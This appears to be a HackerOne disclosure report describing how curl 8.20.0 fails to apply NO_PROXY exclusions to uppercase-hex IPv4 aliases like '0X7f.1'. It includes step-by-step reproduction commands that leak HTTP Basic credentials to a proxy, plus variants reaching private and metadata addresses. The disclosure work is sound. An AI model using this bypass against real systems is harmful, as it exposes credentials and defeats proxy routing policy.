HACKERONE

curl: curl/libcurl 8.20.0 NOPROXY bypass via uppercase-hex IPv4 aliases leaks off-proxy Basic credentials to the configured proxy_H1:3773293

Description

## Summary:
curl/libcurl 8.20.0 fails to enforce `CURLOPT_NOPROXY`, `--noproxy`, and `NO_PROXY` consistently for uppercase-hex IPv4 aliases such as `0X7f.1` on glibc-based systems that accept these legacy numeric IPv4 forms.

When a canonical IP literal is excluded from proxying, curl sends the canonical form directly as configured. However, an equivalent uppercase-hex alias for the same IP is not recognized by the no-proxy matching path and is instead sent to the configured proxy.

In my reproductions, this causes built-in HTTP Basic credentials to be disclosed to the proxy. This is a proxy-boundary bypass / policy-vs-resolution mismatch, not an SSRF claim.

## Steps To Reproduce:
The main reproduction below uses the non-debug 8.20.0 CLI path and `NO_PROXY`, which I found to be the strongest and most common policy path. The same root cause also reproduces through `--noproxy` and `CURLOPT_NOPROXY`; supporting artifacts are attached.

1. Build curl 8.20.0 from the official release tarball as a non-debug build:
cd /tmp
curl -fsSLO https://curl.se/download/curl-8.20.0.tar.xz
mkdir /tmp/curl-8.20.0-src /tmp/curl-8.20.0-relbuild2
tar -xf /tmp/curl-8.20.0.tar.xz -C /tmp/curl-8.20.0-src --strip-components=1
cd /tmp/curl-8.20.0-relbuild2
/tmp/curl-8.20.0-src/configure \
--with-openssl \
--without-libidn2 \
--without-libpsl \
--without-brotli \
--without-zstd \
--without-libssh2 \
--without-nghttp2 \
--disable-ldap \
--disable-ldaps \
--disable-ftp \
--disable-file \
--disable-tftp \
--disable-rtsp \
--disable-dict \
--disable-telnet \
--disable-pop3 \
--disable-imap \
--disable-smb \
--disable-smtp \
--disable-gopher \
--disable-mqtt \
--disable-manual
make -j2

2. Start the attached local target/proxy logger:
python3 /tmp/curl_proxy_boundary_probe.py

This starts:
a target on 127.0.0.1:18081
a logging proxy on 127.0.0.1:18082

3. Run the canonical control request:
NO_PROXY=127.0.0.1 \
/tmp/curl-8.20.0-relbuild2/src/curl -sv \
--proxy http://127.0.0.1:18082 \
-u alice:sekret --basic \
http://127.0.0.1:18081/

Observe:
curl connects directly to 127.0.0.1:18081
the response is 200

4. Run the uppercase-hex alias request with the same policy:
NO_PROXY=127.0.0.1 \
/tmp/curl-8.20.0-relbuild2/src/curl -sv \
--proxy http://127.0.0.1:18082 \
-u alice:sekret --basic \
http://0X7f.1:18081/

Observe:
curl prints Uses proxy env variable NO_PROXY == '127.0.0.1'
the request is sent to the proxy instead of directly to the target
the response is 502 from the logging proxy
built-in Authorization: Basic YWxpY2U6c2VrcmV0 is visible in the proxy-side request

5. Check the server-side log:
sed -n '1,20p' /tmp/curl_proxy_boundary_probe.log

Representative result:
target ... GET / ... Host: 127.0.0.1:18081 Authorization: Basic YWxpY2U6c2VrcmV0
proxy ... GET http://0X7f.1:18081/ ... Host: 0X7f.1:18081 Authorization: Basic YWxpY2U6c2VrcmV0

6. Additional verified variants included in the attached bundle:
--noproxy 127.0.0.1
NO_PROXY=127.0.0.0/8
CURLOPT_NOPROXY through a non-debug libcurl PoC
internal/private target classes reproduced in controlled local setups:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.169.254
second full runtime reproduction in a Debian bookworm-slim container

###Affected version
Primary affected release reproduced locally from the official source tarball:
curl 8.20.0 (x86_64-pc-linux-gnu) libcurl/8.20.0 OpenSSL/3.6.1 zlib/1.3.1
Release-Date: 2026-04-29
Protocols: http https ipfs ipns ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz SSL threadsafe TLS-SRP UnixSockets

Environment details:
host runtime reproduction on glibc 2.42
second full runtime reproduction in Debian bookworm-slim (glibc 2.36)

I also reproduced the same sink on current master at commit:
24874a4f04

###Supporting Material/References:
Attached bundle: curl_noproxy_uppercase_hex_bundle_2026-06-01.zip
Key included artifacts:
noproxy_env_loopback.log
debian_container_probe.log
curl_noproxy_alias_poc.c
curl_proxy_boundary_probe.py
run_debian_container_noproxy_probe.sh
run_noproxy_private_ns_probe.sh
REPORT_curl_noproxy_uppercase_hex.md

Root cause notes:
lib/noproxy.c only takes the IP/CIDR matching path when inet_pton() accepts the host string as IPv4
lib/urlapi.c normalizes lowercase 0x numeric IPv4 forms, but not uppercase 0X
glibc-based resolvers used in my reproductions still accept uppercase-hex legacy numeric IPv4 aliases and resolve them to the same target IP
this creates a policy-vs-resolution mismatch: the configured off-proxy exclusion is not consistently honored for equivalent numeric forms

## Impact

This issue breaks the documented off-proxy routing boundary enforced by `CURLOPT_NOPROXY`, `--noproxy`, and `NO_PROXY`.

On affected glibc-based systems, an uppercase-hex alias for a loopback, RFC1918, or link-local target can cause:
- requests that should stay off-proxy to be sent to the configured proxy instead
- built-in HTTP Basic credentials generated by curl/libcurl to be disclosed to the proxy
- proxy exclusion policy for sensitive internal targets to be bypassed
Visit Original Source

Basic Information

ID H1:3773293
Published May 31, 2026 at 17:50
Modified Jun 3, 2026 at 08:02

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.